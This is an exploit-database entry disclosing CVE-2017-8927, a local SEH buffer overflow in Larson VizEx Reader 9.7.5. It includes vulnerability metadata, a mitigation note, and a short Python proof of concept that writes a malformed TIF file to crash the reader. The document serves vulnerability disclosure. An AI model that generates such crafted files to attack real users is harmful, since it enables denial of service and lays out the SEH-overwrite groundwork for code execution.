Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

vendor:

Larson VizEx Reader

by:

Muhann4d

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Larson VizEx Reader

Affected Version From: 9.7.5

Affected Version To: 9.7.5

Patch Exists: NO

Related CWE: CVE-2017-8927

CPE: a:cgmlarson:larson_vizex_reader:9.7.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Professional SP1 32bit

2017

Larson VizEx Reader 9.7.5 – Local Buffer Overflow (SEH)

Larson VizEx Reader 9.7.5 is vulnerable to a local buffer overflow vulnerability due to improper bounds checking of user-supplied data. An attacker can exploit this vulnerability by crafting a malicious TIF file and convincing the user to open it with the vulnerable application. This will cause a denial of service condition.

Mitigation:

The vendor has not released a patch for this vulnerability. As a workaround, users should avoid opening untrusted TIF files with Larson VizEx Reader 9.7.5.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()